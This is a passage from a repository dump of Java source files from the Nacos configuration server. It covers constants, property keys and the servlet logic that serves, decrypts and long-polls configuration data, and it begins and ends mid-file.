moduleState.newState(PropertiesConstant.DEFAULT_MAX_AGGR_SIZE, PropertyUtil.getDefaultMaxAggrSize());\n        moduleState.newState(Constants.CONFIG_RENTENTION_DAYS_PROPERTY_STATE, PropertyUtil.getConfigRententionDays());\n        \n        return moduleState;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/constant/Constants.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.constant;\n\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.model.event.ConfigDumpEvent;\n\n/**\n * Server Constants.\n *\n * @author Nacos\n */\npublic class Constants {\n    \n    public static final String CLIENT_VERSION_HEADER = \"Client-Version\";\n    \n    public static final String CLIENT_VERSION = \"3.0.0\";\n    \n    public static final String DEFAULT_GROUP = \"DEFAULT_GROUP\";\n    \n    public static final String DATASOURCE_PLATFORM_PROPERTY_STATE = \"datasource_platform\";\n    \n    public static final String CONFIG_RENTENTION_DAYS_PROPERTY_STATE = \"config_retention_days\";\n    \n    /**\n     * Config file directory in server side.\n     */\n    public static final String BASE_DIR = \"config-data\";\n    \n    /**\n     * Back up file directory in server side.\n     */\n    public static final String CONFIG_BAK_DIR = System.getProperty(\"user.home\", \"/home/admin\") + \"/nacos/bak_data\";\n    \n    public static final String APPNAME = \"AppName\";\n    \n    public static final String UNKNOWN_APP = \"UnknownApp\";\n    \n    public static final String DEFAULT_DOMAINNAME = \"commonconfig.config-host.taobao.com\";\n    \n    public static final String DAILY_DOMAINNAME = \"commonconfig.taobao.net\";\n    \n    public static final String NULL = \"\";\n    \n    public static final String DATAID = \"dataId\";\n    \n    public static final String GROUP = \"group\";\n    \n    public static final String LAST_MODIFIED = \"Last-Modified\";\n    \n    public static final String ACCEPT_ENCODING = \"Accept-Encoding\";\n    \n    public static final String CONTENT_ENCODING = \"Content-Encoding\";\n    \n    public static final String PROBE_MODIFY_REQUEST = \"Listening-Configs\";\n    \n    public static final String PROBE_MODIFY_RESPONSE = \"Probe-Modify-Response\";\n    \n    public static final String PROBE_MODIFY_RESPONSE_NEW = \"Probe-Modify-Response-New\";\n    \n    public static final String USE_ZIP = \"true\";\n    \n    public static final String CONTENT_MD5 = \"Content-MD5\";\n    \n    public static final String CONFIG_VERSION = \"Config-Version\";\n    \n    public static final String IF_MODIFIED_SINCE = \"If-Modified-Since\";\n    \n    public static final String SPACING_INTERVAL = \"client-spacing-interval\";\n    \n    /**\n     * Interval for async update address(unit: second).\n     */\n    public static final int ASYNC_UPDATE_ADDRESS_INTERVAL = 300;\n    \n    /**\n     * Interval for polling(unit: second).\n     */\n    public static final int POLLING_INTERVAL_TIME = 15;\n    \n    /**\n     * Unit: millisecond.\n     */\n    public static final int ONCE_TIMEOUT = 2000;\n    \n    /**\n     * Unit: millisecond.\n     */\n    public static final int CONN_TIMEOUT = 2000;\n    \n    /**\n     * Unit: millisecond.\n     */\n    public static final int SO_TIMEOUT = 60000;\n    \n    /**\n     * Unit: millisecond.\n     */\n    public static final int RECV_WAIT_TIMEOUT = ONCE_TIMEOUT * 5;\n    \n    public static final String BASE_PATH = \"/v1/cs\";\n    \n    public static final String BASE_V2_PATH = \"/v2/cs\";\n    \n    public static final String BASE_ADMIN_V3_PATH = \"/v3/admin/cs\";\n    \n    public static final String OPS_CONTROLLER_PATH = BASE_PATH + \"/ops\";\n    \n    public static final String OPS_CONTROLLER_V3_ADMIN_PATH = BASE_ADMIN_V3_PATH + \"/ops\";\n    \n    public static final String CAPACITY_CONTROLLER_PATH = BASE_PATH + \"/capacity\";\n    \n    public static final String CAPACITY_CONTROLLER_V3_ADMIN_PATH = BASE_ADMIN_V3_PATH + \"/capacity\";\n    \n    public static final String COMMUNICATION_CONTROLLER_PATH = BASE_PATH + \"/communication\";\n    \n    public static final String CONFIG_CONTROLLER_PATH = BASE_PATH + \"/configs\";\n    \n    public static final String CONFIG_CONTROLLER_V2_PATH = BASE_V2_PATH + \"/config\";\n    \n    public static final String CONFIG_ADMIN_V3_PATH = BASE_ADMIN_V3_PATH + \"/config\";\n    \n    public static final String HEALTH_CONTROLLER_PATH = BASE_PATH + \"/health\";\n    \n    public static final String HISTORY_CONTROLLER_PATH = BASE_PATH + \"/history\";\n    \n    public static final String HISTORY_CONTROLLER_V2_PATH = BASE_V2_PATH + \"/history\";\n    \n    public static final String HISTORY_ADMIN_V3_PATH = BASE_ADMIN_V3_PATH + \"/history\";\n    \n    public static final String LISTENER_CONTROLLER_PATH = BASE_PATH + \"/listener\";\n    \n    public static final String LISTENER_CONTROLLER_V3_ADMIN_PATH = BASE_ADMIN_V3_PATH + \"/listener\";\n    \n    public static final String NAMESPACE_CONTROLLER_PATH = BASE_PATH + \"/namespaces\";\n    \n    public static final String METRICS_CONTROLLER_PATH = BASE_PATH + \"/metrics\";\n    \n    public static final String METRICS_CONTROLLER_V3_ADMIN_PATH = BASE_ADMIN_V3_PATH + \"/metrics\";\n    \n    public static final String CONFIG_V3_CLIENT_API_PATH = \"/v3/client/cs/config\";\n    \n    public static final String ENCODE = \"UTF-8\";\n    \n    public static final String PERSIST_ENCODE = getPersistEncode();\n    \n    public static final String ENCODE_GBK = \"GBK\";\n    \n    public static final String ENCODE_UTF8 = \"UTF-8\";\n    \n    public static final String MAP_FILE = \"map-file.js\";\n    \n    public static final int FLOW_CONTROL_THRESHOLD = 20;\n    \n    public static final int FLOW_CONTROL_SLOT = 10;\n    \n    public static final int FLOW_CONTROL_INTERVAL = 1000;\n    \n    public static final String LINE_SEPARATOR = Character.toString((char) 1);\n    \n    public static final String WORD_SEPARATOR = Character.toString((char) 2);\n    \n    public static final String NACOS_LINE_SEPARATOR = \"\\r\\n\";\n    \n    /**\n     * Total time of threshold value when getting data from network(unit: millisecond).\n     */\n    public static final long TOTALTIME_FROM_SERVER = 10000;\n    \n    /**\n     * Invalid total time of threshold value when getting data from network(unit: millisecond).\n     */\n    public static final long TOTALTIME_INVALID_THRESHOLD = 60000;\n    \n    /**\n     * When exception or error occurs.\n     */\n    public static final int BATCH_OP_ERROR = -1;\n    \n    /**\n     * State code of single data when batch operation.\n     */\n    public static final String BATCH_OP_ERROR_IO_MSG = \"get config dump error\";\n    \n    public static final String BATCH_OP_ERROR_CONFLICT_MSG = \"config get conflicts\";\n    \n    /**\n     * Batch query when data existent.\n     */\n    public static final int BATCH_QUERY_EXISTS = 1;\n    \n    public static final String BATCH_QUERY_EXISTS_MSG = \"config exits\";\n    \n    /**\n     * Batch query when data non-existent.\n     */\n    public static final int BATCH_QUERY_NONEXISTS = 2;\n    \n    public static final String BATCH_QUERY_NONEEXISTS_MSG = \"config not exits\";\n    \n    /**\n     * Batch adding successfully.\n     */\n    public static final int BATCH_ADD_SUCCESS = 3;\n    \n    /**\n     * Batch updating successfully.\n     */\n    public static final int BATCH_UPDATE_SUCCESS = 4;\n    \n    public static final int MAX_UPDATE_FAIL_COUNT = 5;\n    \n    public static final int MAX_UPDATEALL_FAIL_COUNT = 5;\n    \n    public static final int MAX_REMOVE_FAIL_COUNT = 5;\n    \n    public static final int MAX_REMOVEALL_FAIL_COUNT = 5;\n    \n    public static final int MAX_NOTIFY_COUNT = 5;\n    \n    public static final int MAX_ADDACK_COUNT = 5;\n    \n    /**\n     * First version of data.\n     */\n    public static final int FIRST_VERSION = 1;\n    \n    /**\n     * Poison version when data is deleted.\n     */\n    public static final int POISON_VERSION = -1;\n    \n    /**\n     * Temporary version when disk file is full.\n     */\n    public static final int TEMP_VERSION = 0;\n    \n    /**\n     * Plain sequence of getting data: backup file -> server -> local file.\n     */\n    public static final int GETCONFIG_LOCAL_SERVER_SNAPSHOT = 1;\n    \n    /**\n     * Plain sequence of getting data: backup file -> local file -> server.\n     */\n    public static final int GETCONFIG_LOCAL_SNAPSHOT_SERVER = 2;\n    \n    public static final String CLIENT_APPNAME_HEADER = \"Client-AppName\";\n    \n    public static final String CLIENT_REQUEST_TS_HEADER = \"Client-RequestTS\";\n    \n    public static final String CLIENT_REQUEST_TOKEN_HEADER = \"Client-RequestToken\";\n    \n    /**\n     * Client, identity for sdk request to server.\n     */\n    public static final String REQUEST_IDENTITY = \"Request-Identity\";\n    \n    /**\n     * Forward to leader node.\n     */\n    public static final String FORWARD_LEADER = \"Forward-Leader\";\n    \n    /**\n     * Acl result information.\n     */\n    public static final String ACL_RESPONSE = \"ACL-Response\";\n    \n    public static final int ATOMIC_MAX_SIZE = 1000;\n    \n    public static final int DATA_IN_BODY_VERSION = 204;\n    \n    /**\n     * Configure the dump event name.\n     */\n    public static final String EXTEND_INFO_CONFIG_DUMP_EVENT = ConfigDumpEvent.class.getName();\n    \n    /**\n     * Configure the dump event-list name.\n     */\n    public static final String EXTEND_INFOS_CONFIG_DUMP_EVENT = ConfigDumpEvent.class.getName() + \"@@many\";\n    \n    public static final String CONFIG_EXPORT_ITEM_FILE_SEPARATOR = \"/\";\n    \n    public static final String CONFIG_EXPORT_METADATA = \".meta.yml\";\n    \n    public static final String CONFIG_EXPORT_METADATA_NEW = \".metadata.yml\";\n    \n    public static final int LIMIT_ERROR_CODE = 429;\n    \n    public static final String NACOS_PLUGIN_DATASOURCE_LOG_STATE = \"plugin_datasource_log_enabled\";\n    \n    public static final String CONFIG_SEARCH_BLUR = \"blur\";\n    \n    public static final String CONFIG_SEARCH_ACCURATE = \"accurate\";\n    \n    /**\n     * Gray rule.\n     */\n    public static final String GRAY_RULE_TYPE = \"type\";\n    \n    public static final String GRAY_RULE_EXPR = \"expr\";\n    \n    public static final String GRAY_RULE_VERSION = \"version\";\n    \n    public static final String GRAY_RULE_PRIORITY = \"priority\";\n    \n    /**\n     * default nacos encode.\n     */\n    public static final String DEFAULT_NACOS_ENCODE = \"UTF-8\";\n    \n    public static final String NACOS_PERSIST_ENCODE_KEY = \"nacosPersistEncodingKey\";\n    \n    /**\n     * config publish type.\n     */\n    public static final String FORMAL = \"formal\";\n    \n    public static final String GRAY = \"gray\";\n    \n    /**\n     * request source type.\n     */\n    public static final String HTTP = \"http\";\n    \n    public static final String RPC = \"rpc\";\n    \n    /**\n     * Separator.\n     */\n    public static final String COLON =  \":\";\n    \n    static String getPersistEncode() {\n        String persistEncode = System.getenv(NACOS_PERSIST_ENCODE_KEY);\n        if (StringUtils.isBlank(persistEncode)) {\n            persistEncode = System.getProperty(NACOS_PERSIST_ENCODE_KEY);\n            if (StringUtils.isBlank(persistEncode)) {\n                persistEncode = DEFAULT_NACOS_ENCODE;\n            }\n        }\n        return persistEncode;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/constant/CounterMode.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.constant;\n\n/**\n * counter mode.\n *\n * @author hexu.hxy\n * @date 2018/3/13\n */\npublic enum CounterMode {\n    \n    /**\n     * Increment.\n     */\n    INCREMENT,\n    /**\n     * Decrement.\n     */\n    DECREMENT;\n    \n    /**\n     * Reverse the two mode value.\n     *\n     * @return CounterMode\n     */\n    public CounterMode reverse() {\n        if (INCREMENT == this) {\n            return DECREMENT;\n        }\n        return INCREMENT;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/constant/ParametersField.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.constant;\n\n/**\n * Parameters Field.\n *\n * @author haiqi.wang\n * @date 2024/08/13\n */\npublic final class ParametersField {\n    \n    /**\n     * Types.\n     */\n    public static final String TYPES = \"types\";\n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/constant/PropertiesConstant.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.constant;\n\n/**\n * PropertiesConstant.\n *\n * @author lixiaoshuang\n */\npublic class PropertiesConstant {\n    \n    public static final String NOTIFY_CONNECT_TIMEOUT = \"notifyConnectTimeout\";\n    \n    public static final String NOTIFY_SOCKET_TIMEOUT = \"notifySocketTimeout\";\n    \n    public static final String IS_HEALTH_CHECK = \"isHealthCheck\";\n    \n    public static final String MAX_HEALTH_CHECK_FAIL_COUNT = \"maxHealthCheckFailCount\";\n    \n    public static final String MAX_CONTENT = \"maxContent\";\n    \n    public static final String IS_MANAGE_CAPACITY = \"isManageCapacity\";\n    \n    public static final String IS_CAPACITY_LIMIT_CHECK = \"isCapacityLimitCheck\";\n    \n    public static final String DEFAULT_CLUSTER_QUOTA = \"defaultClusterQuota\";\n    \n    public static final String DEFAULT_GROUP_QUOTA = \"defaultGroupQuota\";\n    \n    public static final String DEFAULT_TENANT_QUOTA = \"defaultTenantQuota\";\n    \n    public static final String DEFAULT_MAX_SIZE = \"defaultMaxSize\";\n    \n    public static final String DEFAULT_MAX_AGGR_COUNT = \"defaultMaxAggrCount\";\n    \n    public static final String DEFAULT_MAX_AGGR_SIZE = \"defaultMaxAggrSize\";\n    \n    public static final String CORRECT_USAGE_DELAY = \"correctUsageDelay\";\n    \n    public static final String INITIAL_EXPANSION_PERCENT = \"initialExpansionPercent\";\n    \n    public static final String SEARCH_MAX_CAPACITY = \"nacos.config.search.max_capacity\";\n    \n    public static final String SEARCH_MAX_THREAD = \"nacos.config.search.max_thread\";\n    \n    public static final String SEARCH_WAIT_TIMEOUT = \"nacos.config.search.wait_timeout\";\n    \n    public static final String DUMP_CHANGE_ON = \"dumpChangeOn\";\n    \n    public static final String DUMP_CHANGE_WORKER_INTERVAL = \"dumpChangeWorkerInterval\";\n\n    public static final String CONFIG_RENTENTION_DAYS = \"nacos.config.retention.days\";\n    \n    public static final String GRAY_CAPATIBEL_MODEL = \"nacos.config.gray.compatible.model\";\n    \n    public static final String NAMESPACE_COMPATIBLE_MODE = \"nacos.config.namespace.compatible.mode\";\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigServletInner.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.controller;\n\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.common.constant.HttpHeaderConsts;\nimport com.alibaba.nacos.common.http.param.MediaType;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.NamespaceUtil;\nimport com.alibaba.nacos.common.utils.Pair;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.enums.ApiVersionEnum;\nimport com.alibaba.nacos.config.server.enums.FileTypeEnum;\nimport com.alibaba.nacos.config.server.exception.NacosConfigException;\nimport com.alibaba.nacos.config.server.model.ConfigCacheGray;\nimport com.alibaba.nacos.config.server.model.ConfigListenState;\nimport com.alibaba.nacos.config.server.model.gray.BetaGrayRule;\nimport com.alibaba.nacos.config.server.model.gray.TagGrayRule;\nimport com.alibaba.nacos.config.server.service.LongPollingService;\nimport com.alibaba.nacos.config.server.service.query.ConfigChainRequestExtractorService;\nimport com.alibaba.nacos.config.server.service.query.ConfigQueryChainService;\nimport com.alibaba.nacos.config.server.service.query.enums.ResponseCode;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainResponse;\nimport com.alibaba.nacos.config.server.service.trace.ConfigTraceService;\nimport com.alibaba.nacos.config.server.utils.MD5Util;\nimport com.alibaba.nacos.config.server.utils.Protocol;\nimport com.alibaba.nacos.config.server.utils.RequestUtil;\nimport com.alibaba.nacos.plugin.encryption.handler.EncryptionHandler;\nimport jakarta.servlet.http.HttpServletRequest;\nimport jakarta.servlet.http.HttpServletResponse;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.stereotype.Service;\n\nimport java.io.IOException;\nimport java.io.PrintWriter;\nimport java.net.URLEncoder;\nimport java.nio.charset.StandardCharsets;\nimport java.util.Map;\n\nimport static com.alibaba.nacos.api.common.Constants.CONFIG_TYPE;\nimport static com.alibaba.nacos.api.common.Constants.VIPSERVER_TAG;\nimport static com.alibaba.nacos.config.server.constant.Constants.CONTENT_MD5;\n\n/**\n * ConfigServlet inner for aop.\n *\n * @author Nacos\n */\n@Service\npublic class ConfigServletInner {\n    \n    private static final int TRY_GET_LOCK_TIMES = 9;\n    \n    private static final int START_LONG_POLLING_VERSION_NUM = 204;\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(ConfigServletInner.class);\n    \n    private final LongPollingService longPollingService;\n    \n    private final ConfigQueryChainService configQueryChainService;\n    \n    public ConfigServletInner(LongPollingService longPollingService, ConfigQueryChainService configQueryChainService) {\n        this.longPollingService = longPollingService;\n        this.configQueryChainService = configQueryChainService;\n    }\n    \n    private static String getDecryptContent(ConfigQueryChainResponse chainResponse, String dataId) {\n        Pair<String, String> pair = EncryptionHandler.decryptHandler(dataId, chainResponse.getEncryptedDataKey(),\n                chainResponse.getContent());\n        return pair.getSecond();\n    }\n    \n    /**\n     * long polling the config.\n     */\n    public String doPollingConfig(HttpServletRequest request, HttpServletResponse response,\n            Map<String, ConfigListenState> clientMd5Map, int probeRequestSize) throws IOException {\n        \n        // Long polling.\n        if (LongPollingService.isSupportLongPolling(request)) {\n            longPollingService.addLongPollingClient(request, response, clientMd5Map, probeRequestSize);\n            return HttpServletResponse.SC_OK + \"\";\n        }\n        \n        // Compatible with short polling logic.\n        Map<String, ConfigListenState> changedGroups = MD5Util.compareMd5(request, response, clientMd5Map);\n        \n        // Compatible with short polling result.\n        String oldResult = MD5Util.compareMd5OldResult(changedGroups);\n        String newResult = MD5Util.compareMd5ResultString(changedGroups);\n        \n        String version = request.getHeader(Constants.CLIENT_VERSION_HEADER);\n        if (version == null) {\n            version = \"2.0.0\";\n        }\n        int versionNum = Protocol.getVersionNumber(version);\n        \n        // Before 2.0.4 version, return value is put into header.\n        if (versionNum < START_LONG_POLLING_VERSION_NUM) {\n            response.addHeader(Constants.PROBE_MODIFY_RESPONSE, oldResult);\n            response.addHeader(Constants.PROBE_MODIFY_RESPONSE_NEW, newResult);\n        } else {\n            request.setAttribute(\"content\", newResult);\n        }\n        \n        // Disable cache.\n        response.setHeader(\"Pragma\", \"no-cache\");\n        response.setDateHeader(\"Expires\", 0);\n        response.setHeader(\"Cache-Control\", \"no-cache,no-store\");\n        response.setStatus(HttpServletResponse.SC_OK);\n        return HttpServletResponse.SC_OK + \"\";\n    }\n    \n    /**\n     * Execute to get config [API V1] or [API V2].\n     */\n    public String doGetConfig(HttpServletRequest request, HttpServletResponse response, String dataId, String group,\n            String tenant, String tag, String isNotify, String clientIp, ApiVersionEnum apiVersion) throws IOException {\n        \n        boolean notify = StringUtils.isNotBlank(isNotify) && Boolean.parseBoolean(isNotify);\n        String requestIpApp = RequestUtil.getAppName(request);\n        \n        ConfigQueryChainRequest chainRequest = ConfigChainRequestExtractorService.getExtractor().extract(request);\n        chainRequest.setTenant(NamespaceUtil.processNamespaceParameter(chainRequest.getTenant()));\n        ConfigQueryChainResponse chainResponse = configQueryChainService.handle(chainRequest);\n        \n        if (ResponseCode.FAIL.getCode() == chainResponse.getResultCode()) {\n            throw new NacosConfigException(chainResponse.getMessage());\n        }\n        \n        logPullEvent(dataId, group, tenant, requestIpApp, chainResponse, clientIp, notify, tag);\n        \n        switch (chainResponse.getStatus()) {\n            case CONFIG_NOT_FOUND:\n            case SPECIAL_TAG_CONFIG_NOT_FOUND:\n                return handlerConfigNotFound(response, apiVersion);\n            case CONFIG_QUERY_CONFLICT:\n                return handlerConfigConflict(response, apiVersion);\n            default:\n                return handleResponse(response, chainResponse, dataId, group, apiVersion);\n        }\n    }\n    \n    private String handlerConfigNotFound(HttpServletResponse response, ApiVersionEnum apiVersion) throws IOException {\n        response.setStatus(HttpServletResponse.SC_NOT_FOUND);\n        if (apiVersion == ApiVersionEnum.V1) {\n            return writeResponseForV1(response, Result.failure(ErrorCode.RESOURCE_NOT_FOUND, \"config data not exist\"));\n        } else {\n            return writeResponseForV2(response, Result.failure(ErrorCode.RESOURCE_NOT_FOUND, \"config data not exist\"));\n        }\n    }\n    \n    private String handlerConfigConflict(HttpServletResponse response, ApiVersionEnum apiVersion) throws IOException {\n        response.setStatus(HttpServletResponse.SC_CONFLICT);\n        if (apiVersion == ApiVersionEnum.V1) {\n            return writeResponseForV1(response,\n                    Result.failure(ErrorCode.RESOURCE_CONFLICT, \"requested file is being modified, please try later.\"));\n        } else {\n            return writeResponseForV2(response,\n                    Result.failure(ErrorCode.RESOURCE_CONFLICT, \"requested file is being modified, please try later.\"));\n        }\n    }\n    \n    private String handleResponse(HttpServletResponse response, ConfigQueryChainResponse chainResponse, String dataId,\n            String group, ApiVersionEnum apiVersion) throws IOException {\n        if (apiVersion == ApiVersionEnum.V1) {\n            return handleResponseForV1(response, chainResponse, dataId, group);\n        } else {\n            return handleResponseForV2(response, chainResponse, dataId, group);\n        }\n    }\n    \n    private String handleResponseForV1(HttpServletResponse response, ConfigQueryChainResponse chainResponse,\n            String dataId, String tag) throws IOException {\n        if (chainResponse.getContent() == null) {\n            return handlerConfigNotFound(response, ApiVersionEnum.V1);\n        }\n        \n        setCommonResponseHead(response, chainResponse, tag);\n        setResponseHeadForV1(response, chainResponse);\n        writeContentForV1(response, chainResponse, dataId);\n        \n        return HttpServletResponse.SC_OK + \"\";\n    }\n    \n    private String handleResponseForV2(HttpServletResponse response, ConfigQueryChainResponse chainResponse,\n            String dataId, String tag) throws IOException {\n        if (chainResponse.getContent() == null) {\n            return handlerConfigNotFound(response, ApiVersionEnum.V2);\n        }\n        \n        setCommonResponseHead(response, chainResponse, tag);\n        setResponseHeadForV2(response);\n        writeContentForV2(response, chainResponse, dataId);\n        \n        return HttpServletResponse.SC_OK + \"\";\n    }\n    \n    private void setResponseHeadForV1(HttpServletResponse response, ConfigQueryChainResponse chainResponse) {\n        String contentType = chainResponse.getContentType();\n        if (StringUtils.isBlank(contentType)) {\n            contentType = FileTypeEnum.TEXT.getContentType();\n        }\n        response.setHeader(HttpHeaderConsts.CONTENT_TYPE, contentType);\n    }\n    \n    private void setResponseHeadForV2(HttpServletResponse response) {\n        response.setHeader(HttpHeaderConsts.CONTENT_TYPE, MediaType.APPLICATION_JSON);\n    }\n    \n    private void writeContentForV1(HttpServletResponse response, ConfigQueryChainResponse chainResponse, String dataId)\n            throws IOException {\n        PrintWriter out = response.getWriter();\n        try {\n            String decryptContent = getDecryptContent(chainResponse, dataId);\n            out.print(decryptContent);\n        } finally {\n            out.flush();\n            out.close();\n        }\n    }\n    \n    private void writeContentForV2(HttpServletResponse response, ConfigQueryChainResponse chainResponse, String dataId)\n            throws IOException {\n        PrintWriter out = response.getWriter();\n        try {\n            String decryptContent = getDecryptContent(chainResponse, dataId);\n            out.print(JacksonUtils.toJson(Result.success(decryptContent)));\n        } finally {\n            out.flush();\n            out.close();\n        }\n    }\n    \n    private String writeResponseForV1(HttpServletResponse response, Result<String> result) throws IOException {\n        PrintWriter writer = response.getWriter();\n        writer.println(result.getData());\n        return response.getStatus() + \"\";\n    }\n    \n    private String writeResponseForV2(HttpServletResponse response, Result<String> result) throws IOException {\n        PrintWriter writer = response.getWriter();\n        writer.println(JacksonUtils.toJson(result));\n        return response.getStatus() + \"\";\n    }\n    \n    private String resolvePullEvent(ConfigQueryChainResponse chainResponse, String tag) {\n        switch (chainResponse.getStatus()) {\n            case CONFIG_FOUND_GRAY:\n                ConfigCacheGray matchedGray = chainResponse.getMatchedGray();\n                if (matchedGray != null) {\n                    return ConfigTraceService.PULL_EVENT + \"-\" + matchedGray.getGrayName();\n                } else {\n                    return ConfigTraceService.PULL_EVENT;\n                }\n            case SPECIAL_TAG_CONFIG_NOT_FOUND:\n                return ConfigTraceService.PULL_EVENT + \"-\" + TagGrayRule.TYPE_TAG + \"-\" + tag;\n            default:\n                return ConfigTraceService.PULL_EVENT;\n        }\n    }\n    \n    private void logPullEvent(String dataId, String group, String tenant, String requestIpApp,\n            ConfigQueryChainResponse chainResponse, String clientIp, boolean notify, String tag) {\n        \n        String pullEvent = resolvePullEvent(chainResponse, tag);\n        \n        ConfigQueryChainResponse.ConfigQueryStatus status = chainResponse.getStatus();\n        \n        if (status == ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_QUERY_CONFLICT) {\n            ConfigTraceService.logPullEvent(dataId, group, tenant, requestIpApp, -1, pullEvent,\n                    ConfigTraceService.PULL_TYPE_CONFLICT, -1, clientIp, notify, \"http\");\n        } else if (status == ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_NOT_FOUND\n                || chainResponse.getContent() == null) {\n            ConfigTraceService.logPullEvent(dataId, group, tenant, requestIpApp, -1, pullEvent,\n                    ConfigTraceService.PULL_TYPE_NOTFOUND, -1, clientIp, notify, \"http\");\n        } else {\n            long delayed = System.currentTimeMillis() - chainResponse.getLastModified();\n            ConfigTraceService.logPullEvent(dataId, group, tenant, requestIpApp, chainResponse.getLastModified(),\n                    pullEvent, ConfigTraceService.PULL_TYPE_OK, delayed, clientIp, notify, \"http\");\n        }\n    }\n    \n    private void setCommonResponseHead(HttpServletResponse response, ConfigQueryChainResponse chainResponse,\n            String tag) {\n        String configType = chainResponse.getConfigType() != null ? chainResponse.getConfigType()\n                : FileTypeEnum.TEXT.getFileType();\n        \n        response.setHeader(CONFIG_TYPE, configType);\n        response.setHeader(CONTENT_MD5, chainResponse.getMd5());\n        response.setHeader(\"Pragma\", \"no-cache\");\n        response.setDateHeader(\"Expires\", 0);\n        response.setHeader(\"Cache-Control\", \"no-cache,no-store\");\n        response.setDateHeader(\"Last-Modified\", chainResponse.getLastModified());\n        \n        if (chainResponse.getEncryptedDataKey() != null) {\n            response.setHeader(\"Encrypted-Data-Key\", chainResponse.getEncryptedDataKey());\n        }\n        \n        // Check if there is a matched gray rule\n        if (ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_GRAY == chainResponse.getStatus()) {\n            if (BetaGrayRule.TYPE_BETA.equals(chainResponse.getMatchedGray().getGrayRule().getType())) {\n                response.setHeader(\"isBeta\", \"true\");\n            } else if (TagGrayRule.TYPE_TAG.equals(chainResponse.getMatchedGray().getGrayRule().getType())) {\n                try {\n                    response.setHeader(TagGrayRule.TYPE_TAG,\n                            URLEncoder.encode(chainResponse.getMatchedGray().getGrayRule().getRawGrayRuleExp(),\n                                    StandardCharsets.UTF_8.displayName()));\n                } catch (Exception e) {\n                    LOGGER.error(\"Error encoding tag\", e);\n                }\n            }\n        }\n        \n        // Check if there is a special tag\n        if (ConfigQueryChainResponse.ConfigQueryStatus.SPECIAL_TAG_CONFIG_NOT_FOUND == chainResponse.getStatus()) {\n            try {\n                response.setHeader(VIPSERVER_TAG, URLEncoder.encode(tag, StandardCharsets.UTF_8.displayName()));\n            } catch (Exception e) {\n                LOGGER.error(\"Error encoding tag\", e);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/controller/parameters/SameNamespaceCloneConfigBean.java",
